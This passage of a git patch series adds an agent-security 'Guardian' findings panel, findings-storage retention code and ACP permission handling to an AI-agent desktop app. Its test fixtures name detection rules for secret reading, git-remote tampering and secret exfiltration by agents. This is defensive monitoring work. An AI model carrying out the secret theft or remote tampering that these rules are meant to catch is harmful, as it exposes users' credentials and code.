a/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx +++ b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx @@ -14,7 +14,7 @@ export function NumbatSecurityFindings({ error: string | null; findings: NumbatFinding[]; health: { - state: "configured" | "disconnected" | "unsupported" | "stale"; + state: "active" | "configured" | "disconnected" | "unsupported" | "stale"; detail: string; } | null; onCancelTurn?: () => void; diff --git a/desktop/src/features/agents/ui/useNumbatFindings.ts b/desktop/src/features/agents/ui/useNumbatFindings.ts index f6e0dc638c..d6986d47d8 100644 --- a/desktop/src/features/agents/ui/useNumbatFindings.ts +++ b/desktop/src/features/agents/ui/useNumbatFindings.ts @@ -17,7 +17,7 @@ export function useNumbatFindings( const [findings, setFindings] = React.useState([]); const [error, setError] = React.useState(null); const [health, setHealth] = React.useState<{ - state: "configured" | "disconnected" | "unsupported" | "stale"; + state: "active" | "configured" | "disconnected" | "unsupported" | "stale"; detail: string; } | null>(null); diff --git a/desktop/src/shared/api/tauriNumbat.ts b/desktop/src/shared/api/tauriNumbat.ts index a06cd3f0a1..0865a93eb5 100644 --- a/desktop/src/shared/api/tauriNumbat.ts +++ b/desktop/src/shared/api/tauriNumbat.ts @@ -20,7 +20,7 @@ export type NumbatFindingBatch = { reset: boolean; rejectedRecords: number; health: { - state: "configured" | "disconnected" | "unsupported" | "stale"; + state: "active" | "configured" | "disconnected" | "unsupported" | "stale"; detail: string; }; findings: NumbatFinding[]; diff --git a/desktop/src/testing/e2eBridge.ts b/desktop/src/testing/e2eBridge.ts index 1ba4215235..14b6e1af55 100644 --- a/desktop/src/testing/e2eBridge.ts +++ b/desktop/src/testing/e2eBridge.ts @@ -363,6 +363,25 @@ type E2eConfig = { */ observerArchiveDefaultEnabledError?: string; agentMetricArchiveDefaultEnabled?: boolean; + /** Guardian batch returned by `read_numbat_findings`. */ + numbatFindingBatch?: { + nextOffset: number; + reset: boolean; + rejectedRecords: number; + health: { state: string; detail: string }; + findings: Array<{ + findingId: string; + ruleId: string; + title: string; + severity: "low" | "medium" | "high" | "critical"; + detectedAt: string; + sourceAgent: string; + sessionId: string | null; + channelId: string | null; + turnId: string | null; + evidenceCount: number; + }>; + }; saveSubscriptions?: Array<{ scope_type: string; scope_value: string; @@ -11517,16 +11536,18 @@ export function maybeInstallE2eTauriMocks() { case "agent_metric_archive_default_enabled": return activeConfig?.mock?.agentMetricArchiveDefaultEnabled ?? false; case "read_numbat_findings": - return { - nextOffset: 0, - reset: false, - rejectedRecords: 0, - health: { - state: "disconnected", - detail: "Guardian has not been attached to this runtime yet.", - }, - findings: [], - }; + return ( + activeConfig?.mock?.numbatFindingBatch ?? { + nextOffset: 0, + reset: false, + rejectedRecords: 0, + health: { + state: "disconnected", + detail: "Guardian has not been attached to this runtime yet.", + }, + findings: [], + } + ); case "set_prevent_sleep_active": return null; case "plugin:window|is_fullscreen": diff --git a/desktop/tests/e2e/guardian-findings.spec.ts b/desktop/tests/e2e/guardian-findings.spec.ts new file mode 100644 index 0000000000..de34e57de0 --- /dev/null +++ b/desktop/tests/e2e/guardian-findings.spec.ts @@ -0,0 +1,90 @@ +import { expect, test } from "@playwright/test"; + +import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge"; + +const AGENT = TEST_IDENTITIES.tyler.pubkey; +const CHANNEL = "94a444a4-c0a3-5966-ab05-530c6ddc2301"; + +test("renders three privacy-projected Guardian alerts", async ({ page }) => { + await installMockBridge(page, { + managedAgents: [ + { + pubkey: AGENT, + name: "Observer Agent", + status: "running", + channelNames: ["agents"], + }, + ], + numbatFindingBatch: { + nextOffset: 512, + reset: false, + rejectedRecords: 0, + health: { + state: "active", + detail: "Guardian callback execution is verified.", + }, + findings: [ + { + findingId: "finding-low", + ruleId: "source.git_remote_tamper", + title: "Git remote-routing change requested", + severity: "low", + detectedAt: "2026-07-31T18:00:00Z", + sourceAgent: AGENT, + sessionId: "session-guardian", + channelId: CHANNEL, + turnId: "turn-guardian", + evidenceCount: 1, + }, + { + findingId: "finding-medium", + ruleId: "secrets.agent_read_env", + title: "Sensitive environment data accessed", + severity: "medium", + detectedAt: "2026-07-31T18:00:01Z", + sourceAgent: AGENT, + sessionId: "session-guardian", + channelId: CHANNEL, + turnId: "turn-guardian", + evidenceCount: 1, + }, + { + findingId: "finding-high", + ruleId: "chain.secret_read_then_egress", + title: "Possible secret exfiltration", + severity: "high", + detectedAt: "2026-07-31T18:00:02Z", + sourceAgent: AGENT, + sessionId: "session-guardian", + channelId: CHANNEL, + turnId: "turn-guardian", + evidenceCount: 2, + }, + ], + }, + }); + + await page.goto("/", { waitUntil: "domcontentloaded" }); + await page.waitForFunction( + () => typeof window.__BUZZ_E2E_SEED_OBSERVER_EVENTS__ === "function", + ); + await page.getByTestId("channel-agents").click(); + + const messageRow = page + .getByTestId("message-row") + .filter({ has: page.getByText("Observer Agent", { exact: false }) }) + .first(); + await expect(messageRow).toBeVisible(); + await messageRow.getByRole("button").first().click(); + await page.getByTestId(`user-profile-view-activity-${AGENT}`).click(); + + const guardian = page.getByTestId("guardian-security-findings"); + await expect(guardian).toBeVisible(); + await expect(guardian).toContainText("active"); + await expect(guardian.locator("article")).toHaveCount(3); + await expect(guardian).toContainText("LOW"); + await expect(guardian).toContainText("MEDIUM"); + await expect(guardian).toContainText("HIGH"); + await expect(guardian).not.toContainText("observed_command"); + await expect(guardian).not.toContainText("/private/"); +}); diff --git a/desktop/tests/helpers/bridge.ts b/desktop/tests/helpers/bridge.ts index ca4d62ddd6..f7dff5f2e4 100644 --- a/desktop/tests/helpers/bridge.ts +++ b/desktop/tests/helpers/bridge.ts @@ -231,6 +231,24 @@ type MockBridgeOptions = { teams?: MockTeamSeed[]; relayAgents?: MockRelayAgentSeed[]; agentListDelayMs?: number; + numbatFindingBatch?: { + nextOffset: number; + reset: boolean; + rejectedRecords: number; + health: { state: string; detail: string }; + findings: Array<{ + findingId: string; + ruleId: string; + title: string; + severity: "low" | "medium" | "high" | "critical"; + detectedAt: string; + sourceAgent: string; + sessionId: string | null; + channelId: string | null; + turnId: string | null; + evidenceCount: number; + }>; + }; createManagedAgentDelayMs?: number; channelTemplates?: ChannelTemplate[]; addChannelMembersDelayMs?: number; From 1f8b7a49f0e6dada6ff6be846ade97d2705a03ac Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sat, 1 Aug 2026 13:29:03 -0400 Subject: [PATCH 09/27] fix(guardian): close lifecycle retention races Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src-tauri/src/commands/numbat_findings.rs | 92 ++++++++++++++++++- .../numbat_findings/lifecycle_tests.rs | 85 +++++++++++++++++ 2 files changed, 174 insertions(+), 3 deletions(-) create mode 100644 desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index 5c291d04ec..77e8feb1e1 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -1,5 +1,5 @@ use std::{ - collections::HashSet, + collections::{HashMap, HashSet}, fs::{File, OpenOptions}, io::{Read as _, Seek as _, SeekFrom, Write as _}, path::{Path, PathBuf}, @@ -27,6 +27,8 @@ const NUMBAT_INSTALL_TIMEOUT: Duration = Duration::from_secs(10); const RETENTION_CHECK_INTERVAL: Duration = Duration::from_secs(30); static NUMBAT_INSTALL_LOCK: OnceLock> = OnceLock::new(); static NUMBAT_RETENTION_WORKERS: OnceLock>> = OnceLock::new(); +static NUMBAT_VERIFICATION_BASELINES: OnceLock>> = + OnceLock::new(); #[derive(Debug, Serialize, PartialEq, Eq)] #[serde(rename_all = "camelCase")] @@ -69,6 +71,34 @@ fn active_health() -> NumbatGuardianHealth { } } +fn record_verification_baseline(agent_pubkey: &str, generation: u64, offset: u64) { + let baselines = NUMBAT_VERIFICATION_BASELINES.get_or_init(|| Mutex::new(HashMap::new())); + if let Ok(mut baselines) = baselines.lock() { + baselines.insert(agent_pubkey.to_string(), (generation, offset)); + } +} + +fn is_post_configuration_finding( + agent_pubkey: &str, + generation: u64, + next_offset: u64, + active_findings_observed: bool, +) -> bool { + let baselines = NUMBAT_VERIFICATION_BASELINES.get_or_init(|| Mutex::new(HashMap::new())); + let Ok(mut baselines) = baselines.lock() else { + return false; + }; + let Some((baseline_generation, baseline_offset)) = baselines.get(agent_pubkey).copied() else { + baselines.insert(agent_pubkey.to_string(), (generation, next_offset)); + return false; + }; + if baseline_generation != generation { + baselines.insert(agent_pubkey.to_string(), (generation, next_offset)); + return false; + } + active_findings_observed && next_offset > baseline_offset +} + #[derive(Debug, Deserialize)] struct NumbatFindingRecord { schema_version: String, @@ -97,6 +127,10 @@ fn numbat_findings_template(app: &AppHandle) -> Result { Ok(numbat_dir(app)?.join("${BUZZ_MANAGED_AGENT_PUBKEY}.ndjson")) } +fn previous_findings_path(path: &Path) -> PathBuf { + path.with_extension("previous.ndjson") +} + fn health_path(app: &AppHandle, agent_pubkey: &str) -> Result { validate_agent_pubkey(agent_pubkey)?; Ok(numbat_dir(app)?.join(format!("{agent_pubkey}.health.json"))) @@ -427,11 +461,36 @@ fn enforce_continuous_retention(path: &Path) -> Result { .and_then(|()| target.sync_all()) .map_err(|error| format!("failed to persist retained Guardian storage: {error}"))?; set_private_permissions(&temporary, 0o600)?; + let previous = previous_findings_path(path); + if previous.exists() { + std::fs::remove_file(&previous) + .map_err(|error| format!("failed to expire prior Guardian storage: {error}"))?; + } + std::fs::rename(path, &previous) + .map_err(|error| format!("failed to preserve prior Guardian storage: {error}"))?; std::fs::rename(&temporary, path) .map_err(|error| format!("failed to replace Guardian storage after retention: {error}"))?; Ok(true) } +fn read_previous_findings_tail( + path: &Path, + expected_context: Option<(&str, &str, &str, &str)>, + health: NumbatGuardianHealth, +) -> Result, String> { + let previous = previous_findings_path(path); + let file_len = match previous.metadata() { + Ok(metadata) => metadata.len(), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()), + Err(error) => return Err(format!("failed to inspect prior Guardian storage: {error}")), + }; + let mut file = File::open(&previous) + .map_err(|error| format!("failed to open prior Guardian storage: {error}"))?; + let offset = align_to_next_record(&mut file, file_len.saturating_sub(MAX_BATCH_BYTES))?; + read_numbat_findings_from_path(&previous, offset, expected_context, health) + .map(|batch| batch.findings) +} + fn start_retention_worker(app: AppHandle, agent_pubkey: String) { let workers = NUMBAT_RETENTION_WORKERS.get_or_init(|| Mutex::new(HashSet::new())); let Ok(mut workers) = workers.lock() else { @@ -568,6 +627,11 @@ fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) }; write_health(app, agent_pubkey, &health); if health.state == "configured" { + if let Ok(path) = numbat_findings_path(app, agent_pubkey) { + let generation = findings_generation(&path).unwrap_or(0); + let offset = path.metadata().map(|metadata| metadata.len()).unwrap_or(0); + record_verification_baseline(agent_pubkey, generation, offset); + } start_retention_worker(app.clone(), agent_pubkey.to_string()); } } @@ -606,15 +670,35 @@ pub fn read_numbat_findings( expected_context, read_health(&app, &agent_pubkey), )?; + let active_findings_observed = !batch.findings.is_empty(); + for finding in read_previous_findings_tail(&path, expected_context, batch.health.clone())? { + if !batch + .findings + .iter() + .any(|current| current.finding_id == finding.finding_id) + { + batch.findings.push(finding); + } + } + let physical_next_offset = batch.next_offset; batch.reset |= generation_reset; - batch.next_offset = encode_cursor(generation, batch.next_offset)?; - if !batch.findings.is_empty() && batch.health.state != "active" { + batch.next_offset = encode_cursor(generation, physical_next_offset)?; + if is_post_configuration_finding( + &agent_pubkey, + generation, + physical_next_offset, + active_findings_observed, + ) && batch.health.state != "active" + { batch.health = active_health(); write_health(&app, &agent_pubkey, &batch.health); } Ok(batch) } +#[cfg(test)] +mod lifecycle_tests; + #[cfg(test)] mod tests { use std::io::Write as _; @@ -833,8 +917,10 @@ mod tests { assert!(enforce_continuous_retention(&path).expect("retain")); let retained = std::fs::read(&path).expect("read retained"); + let previous = std::fs::read(previous_findings_path(&path)).expect("read prior"); assert!(retained.len() as u64 <= MAX_BACKLOG_BYTES + MAX_LINE_BYTES as u64); assert!(retained.ends_with(format!("{newest}\n").as_bytes())); + assert!(previous.ends_with(format!("{newest}\n").as_bytes())); assert!(!retained.starts_with(b"x")); assert!(!enforce_continuous_retention(&path).expect("already bounded")); } diff --git a/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs new file mode 100644 index 0000000000..4ba3b0027c --- /dev/null +++ b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs @@ -0,0 +1,85 @@ +use std::{fs::File, io::Write as _}; + +use super::*; + +const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + +fn finding_json(finding_id: &str) -> String { + serde_json::json!({ + "schema_version": "0.2.0", + "record_type": "finding", + "finding_id": finding_id, + "rule_id": "chain.secret_read_then_egress", + "title": "Secret access followed by network egress", + "severity": "high", + "detected_at": "2026-07-30T14:40:00Z", + "source_agent": "codex", + "session_id": "session-safe-01", + "cited_event_ids": ["event-one", "event-two"] + }) + .to_string() +} + +fn test_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "configured".into(), + detail: "test".into(), + } +} + +#[test] +fn retention_reader_preserves_a_record_appended_to_the_previous_generation() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); + let mut file = File::create(&path).expect("create"); + while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { + file.write_all(padding.as_bytes()).expect("write padding"); + } + file.sync_all().expect("sync"); + drop(file); + + assert!(enforce_continuous_retention(&path).expect("retain")); + let late = finding_json("fnd-late-previous"); + { + let mut previous = OpenOptions::new() + .append(true) + .open(previous_findings_path(&path)) + .expect("open previous generation"); + writeln!(previous, "{late}").expect("append late record"); + } + + let findings = read_previous_findings_tail( + &path, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("read previous generation"); + assert!(findings + .iter() + .any(|finding| finding.finding_id == "fnd-late-previous")); + assert!(!std::fs::read_to_string(&path) + .expect("read current generation") + .contains("fnd-late-previous")); +} + +#[test] +fn activation_requires_a_valid_record_after_configuration_baseline() { + let agent = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; + record_verification_baseline(agent, 7, 500); + assert!(!is_post_configuration_finding(agent, 7, 500, true)); + assert!(is_post_configuration_finding(agent, 7, 501, true)); + assert!(!is_post_configuration_finding(agent, 7, 600, false)); + assert!(!is_post_configuration_finding(agent, 8, 100, true)); + assert!(is_post_configuration_finding(agent, 8, 101, true)); + + let unseen_agent = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + assert!(!is_post_configuration_finding(unseen_agent, 11, 900, true)); + assert!(!is_post_configuration_finding(unseen_agent, 11, 900, true)); + assert!(is_post_configuration_finding(unseen_agent, 11, 901, true)); +} From f9dd575a2847423032fe80eac5e5c1a44a099325 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sat, 1 Aug 2026 20:03:03 -0400 Subject: [PATCH 10/27] feat(guardian): integrate native policy and observer controls Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- crates/buzz-acp/src/acp.rs | 356 ++++++- crates/buzz-acp/src/lib.rs | 145 ++- crates/buzz-acp/src/pool.rs | 63 ++ desktop/playwright.config.ts | 1 + desktop/src-tauri/src/commands/mod.rs | 2 + .../src-tauri/src/commands/numbat_findings.rs | 968 ++++++++++++++++++ .../numbat_findings/lifecycle_tests.rs | 85 ++ desktop/src-tauri/src/lib.rs | 5 +- .../src-tauri/src/managed_agents/env_vars.rs | 3 + .../src-tauri/src/managed_agents/readiness.rs | 100 +- .../readiness/effective_harness.rs | 153 +++ .../src-tauri/src/managed_agents/runtime.rs | 133 +-- .../src/managed_agents/runtime/env_config.rs | 85 ++ .../runtime/guardian_policy_tests.rs | 51 + .../src/managed_agents/spawn_hash.rs | 3 + .../agents/lib/personaCatalogRelay.test.mjs | 4 +- .../features/agents/ui/AgentConfigFields.tsx | 13 +- .../agents/ui/GuardianPolicyField.test.mjs | 98 ++ .../agents/ui/GuardianPolicyField.tsx | 48 + .../agents/ui/NumbatSecurityFindings.tsx | 103 ++ .../agents/ui/agentConfigControls.tsx | 3 + .../ui/agentSessionPanelLayout.test.mjs | 9 + .../agents/ui/agentSessionPanelLayout.ts | 11 + .../src/features/agents/ui/guardianPolicy.ts | 18 + .../features/agents/ui/useNumbatFindings.ts | 97 ++ .../channels/ui/AgentSessionThreadPanel.tsx | 39 +- desktop/src/shared/api/agentControl.ts | 4 + desktop/src/shared/api/tauriNumbat.ts | 43 + desktop/src/shared/api/types.ts | 2 +- desktop/src/testing/e2eBridge.ts | 32 + desktop/tests/e2e/guardian-findings.spec.ts | 90 ++ desktop/tests/helpers/bridge.ts | 18 + 32 files changed, 2559 insertions(+), 226 deletions(-) create mode 100644 desktop/src-tauri/src/commands/numbat_findings.rs create mode 100644 desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs create mode 100644 desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs create mode 100644 desktop/src-tauri/src/managed_agents/runtime/env_config.rs create mode 100644 desktop/src-tauri/src/managed_agents/runtime/guardian_policy_tests.rs create mode 100644 desktop/src/features/agents/ui/GuardianPolicyField.test.mjs create mode 100644 desktop/src/features/agents/ui/GuardianPolicyField.tsx create mode 100644 desktop/src/features/agents/ui/NumbatSecurityFindings.tsx create mode 100644 desktop/src/features/agents/ui/guardianPolicy.ts create mode 100644 desktop/src/features/agents/ui/useNumbatFindings.ts create mode 100644 desktop/src/shared/api/tauriNumbat.ts create mode 100644 desktop/tests/e2e/guardian-findings.spec.ts diff --git a/crates/buzz-acp/src/acp.rs b/crates/buzz-acp/src/acp.rs index 8a698954a0..96eb138866 100644 --- a/crates/buzz-acp/src/acp.rs +++ b/crates/buzz-acp/src/acp.rs @@ -13,6 +13,7 @@ use tokio::io::AsyncWriteExt; use tokio::process::{Child, ChildStdin, ChildStdout}; use tokio_util::codec::{FramedRead, LinesCodec, LinesCodecError}; +use crate::config::PermissionMode; use crate::observer::{ObserverContext, ObserverHandle}; use crate::usage::{TurnUsage, UsageTracker}; @@ -158,6 +159,8 @@ pub struct AcpClient { /// Guards against double-response if a timeout fires after the allow_once /// response was written but before `pending_permission_id` was cleared. permission_responded: bool, + /// Harness-side fallback for synchronous ACP permission requests. + permission_mode: PermissionMode, /// The JSON-RPC id of the most recently sent `session/prompt` request. /// Used by [`cancel_with_cleanup`] to drain the correct response. /// Set in [`session_prompt_with_idle_timeout`]; consumed in [`cancel_with_cleanup`]. @@ -410,6 +413,24 @@ fn build_client_capabilities() -> serde_json::Value { }) } +/// Permission requests can contain tool arguments, paths, and user-provided +/// labels. Observer evidence records that a request arrived, but never copies +/// those sensitive parameters into replay buffers or encrypted frames. +fn observer_safe_inbound_message(message: &serde_json::Value) -> serde_json::Value { + if message.get("method").and_then(serde_json::Value::as_str) + != Some("session/request_permission") + { + return message.clone(); + } + + serde_json::json!({ + "jsonrpc": message.get("jsonrpc").cloned().unwrap_or_else(|| serde_json::json!("2.0")), + "id": message.get("id").cloned().unwrap_or(serde_json::Value::Null), + "method": "session/request_permission", + "params": { "redacted": true } + }) +} + impl AcpClient { /// Kill the agent subprocess and wait for it to exit (no zombies). /// @@ -541,6 +562,7 @@ impl AcpClient { next_id: 0, pending_permission_id: None, permission_responded: false, + permission_mode: PermissionMode::Default, last_prompt_id: None, current_hard_deadline: None, observer: None, @@ -559,6 +581,11 @@ impl AcpClient { self.observer_agent_index = Some(agent_index); } + /// Set the endpoint permission policy for subsequent tool requests. + pub(crate) fn set_permission_mode(&mut self, mode: PermissionMode) { + self.permission_mode = mode; + } + /// Update metadata that will be attached to subsequent raw wire events. pub fn set_observer_context(&mut self, context: ObserverContext) { self.observer_context = context; @@ -1197,7 +1224,7 @@ impl AcpClient { continue; } }; - self.observe("acp_read", msg.clone()); + self.observe("acp_read", observer_safe_inbound_message(&msg)); // Check if this is a response to our expected request (has matching id // AND no `method` field — a `method` field means it's an agent-initiated @@ -1520,7 +1547,7 @@ impl AcpClient { continue; } }; - self.observe("acp_read", msg.clone()); + self.observe("acp_read", observer_safe_inbound_message(&msg)); let activity_now = Instant::now(); idle_deadline = activity_now + idle_timeout; @@ -1853,10 +1880,11 @@ impl AcpClient { } } - /// Auto-approve a `session/request_permission` request from the agent. + /// Apply local policy to a synchronous `session/request_permission`. /// - /// Finds the option with `kind == "allow_once"` and responds with its `optionId`. - /// If no `allow_once` option exists, falls back to `reject_once`. + /// Monitor modes select `allow_once`; lockdown modes select `reject_once`. + /// Monitor fails closed when no allow option exists, while lockdown treats + /// a missing reject option as a protocol error rather than degrading. /// /// **Critical:** Never hardcode `optionId` — always find it dynamically by `kind`. /// @@ -1874,9 +1902,14 @@ impl AcpClient { // Mark as not yet responded — guards against double-response race. self.permission_responded = false; - let options = msg["params"]["options"] - .as_array() - .ok_or_else(|| AcpError::Protocol("permission request missing options".into()))?; + let Some(options) = msg["params"]["options"].as_array() else { + return self + .cancel_permission_request_with_protocol_error( + &id, + "permission request missing options", + ) + .await; + }; tracing::debug!( target: "acp::permission", @@ -1884,38 +1917,74 @@ impl AcpClient { options.len() ); - // Find allow_once by kind — NEVER hardcode optionId. - let allow_once = options + let desired_kind = permission_option_kind(&self.permission_mode); + let rejecting = desired_kind == "reject_once"; + // Never hardcode optionId; ACP agents choose their identifiers. + let selected = options .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once")); - - let response = if let Some(opt) = allow_once { - let option_id = opt["optionId"] - .as_str() - .ok_or_else(|| AcpError::Protocol("allow_once option missing optionId".into()))?; + .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some(desired_kind)); + + let (response, decision) = if let Some(opt) = selected { + let Some(option_id) = opt["optionId"].as_str() else { + return self + .cancel_permission_request_with_protocol_error( + &id, + format!("{desired_kind} option missing optionId"), + ) + .await; + }; tracing::info!( target: "acp::permission", - "auto-approving permission id={id} with allow_once optionId={option_id:?}" + "applying permission mode {} to request id={id} with {desired_kind} optionId={option_id:?}", + self.permission_mode ); - permission_response_selected(&id, option_id) + ( + permission_response_selected(&id, option_id), + if rejecting { + "rejected" + } else { + "allowed_once" + }, + ) } else { - // No allow_once — fall back to reject_once. tracing::warn!( target: "acp::permission", - "no allow_once option found in permission request id={id}, falling back to reject_once" + "no {desired_kind} option found in permission request id={id}" ); + // Lockdown must never degrade to approval when an adapter sends an + // incomplete option set. + if rejecting { + return self + .cancel_permission_request_with_protocol_error( + &id, + "lockdown permission request missing reject_once option", + ) + .await; + } let reject = options .iter() .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once")); if let Some(opt) = reject { - let option_id = opt["optionId"].as_str().unwrap_or("reject"); - permission_response_selected(&id, option_id) + let Some(option_id) = opt["optionId"].as_str() else { + return self + .cancel_permission_request_with_protocol_error( + &id, + "reject_once option missing optionId", + ) + .await; + }; + ( + permission_response_selected(&id, option_id), + "rejected_no_allow_option", + ) } else { - return Err(AcpError::Protocol( - "no suitable permission option found (neither allow_once nor reject_once)" - .into(), - )); + return self + .cancel_permission_request_with_protocol_error( + &id, + "no suitable permission option found (neither allow_once nor reject_once)", + ) + .await; } }; @@ -1936,9 +2005,41 @@ impl AcpClient { self.write_ndjson(&response).await?; self.permission_responded = true; self.pending_permission_id = None; + self.observe( + "permission_decision", + serde_json::json!({ + "mode": self.permission_mode.as_wire_str(), + "decision": decision, + }), + ); Ok(()) } + /// Cancel a malformed permission request before surfacing its protocol error. + /// + /// The successful cancellation write is the commit point: only then is the + /// pending state cleared and owner-local decision evidence emitted. If the + /// adapter write fails, the pending state remains available to the normal + /// cancellation cleanup path and no false success evidence is recorded. + async fn cancel_permission_request_with_protocol_error( + &mut self, + id: &serde_json::Value, + message: impl Into, + ) -> Result<(), AcpError> { + let response = permission_response_cancelled(id); + self.write_ndjson(&response).await?; + self.permission_responded = true; + self.pending_permission_id = None; + self.observe( + "permission_decision", + serde_json::json!({ + "mode": self.permission_mode.as_wire_str(), + "decision": "cancelled_protocol_error", + }), + ); + Err(AcpError::Protocol(message.into())) + } + /// Parse `stopReason` from a `session/prompt` result value. fn parse_stop_reason(&self, result: &serde_json::Value) -> Result { let raw = result["stopReason"].as_str().ok_or_else(|| { @@ -2020,6 +2121,14 @@ fn permission_response_selected(id: &serde_json::Value, option_id: &str) -> serd }) } +fn permission_option_kind(mode: &PermissionMode) -> &'static str { + if matches!(mode, PermissionMode::DontAsk | PermissionMode::Plan) { + "reject_once" + } else { + "allow_once" + } +} + /// Build a JSON-RPC permission response with `outcome: "cancelled"`. fn permission_response_cancelled(id: &serde_json::Value) -> serde_json::Value { serde_json::json!({ @@ -2307,6 +2416,27 @@ mod tests { assert!(allow_once.is_none()); } + #[test] + fn observer_redacts_permission_request_secrets() { + let secret = "seeded-secret-tool-argument"; + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-secret", + "method": "session/request_permission", + "params": { + "toolCall": { "path": "/private/example", "arguments": [secret] }, + "options": [{ "optionId": secret, "name": secret, "kind": "allow_once" }] + } + }); + + let evidence = super::observer_safe_inbound_message(&request); + let encoded = serde_json::to_string(&evidence).unwrap(); + assert!(!encoded.contains(secret)); + assert!(!encoded.contains("/private/example")); + assert_eq!(evidence["params"]["redacted"], true); + assert_eq!(evidence["id"], "permission-secret"); + } + #[test] fn find_reject_once_fallback_when_no_allow_once() { let options: Vec = serde_json::from_str( @@ -2326,6 +2456,180 @@ mod tests { assert_eq!(reject_once.unwrap()["optionId"].as_str(), Some("rej-x")); } + #[test] + fn permission_policy_monitor_modes_allow_once() { + for mode in [ + PermissionMode::Default, + PermissionMode::AcceptEdits, + PermissionMode::BypassPermissions, + ] { + assert_eq!(permission_option_kind(&mode), "allow_once"); + } + } + + #[test] + fn permission_policy_lockdown_modes_reject_once() { + for mode in [PermissionMode::DontAsk, PermissionMode::Plan] { + assert_eq!(permission_option_kind(&mode), "reject_once"); + } + } + + #[tokio::test] + async fn lockdown_handler_selects_reject_before_tool_execution() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::DontAsk); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-7", + "method": "session/request_permission", + "params": { + "options": [ + {"optionId": "yes", "kind": "allow_once"}, + {"optionId": "no", "kind": "reject_once"} + ] + } + }); + + client.handle_permission_request(&request).await.unwrap(); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["optionId"], "no"); + } + + #[tokio::test] + async fn monitor_handler_selects_allow_once() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::Default); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": 8, + "method": "session/request_permission", + "params": { + "options": [ + {"optionId": "yes", "kind": "allow_once"}, + {"optionId": "no", "kind": "reject_once"} + ] + } + }); + + client.handle_permission_request(&request).await.unwrap(); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["optionId"], "yes"); + } + + #[tokio::test] + async fn lockdown_missing_reject_cancels_and_clears_pending_state() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::DontAsk); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-malformed", + "method": "session/request_permission", + "params": { + "options": [{"optionId": "yes", "kind": "allow_once"}] + } + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Protocol(_))); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["outcome"], "cancelled"); + assert!(client.pending_permission_id.is_none()); + assert!(client.permission_responded); + } + + #[tokio::test] + async fn monitor_without_allow_or_reject_cancels_and_clears_pending_state() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::Default); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": 19, + "method": "session/request_permission", + "params": { + "options": [{"optionId": "always", "kind": "allow_always"}] + } + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Protocol(_))); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["outcome"], "cancelled"); + assert!(client.pending_permission_id.is_none()); + assert!(client.permission_responded); + } + + #[tokio::test] + async fn permission_request_missing_options_cancels_and_clears_pending_state() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "missing-options", + "method": "session/request_permission", + "params": {} + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Protocol(_))); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + 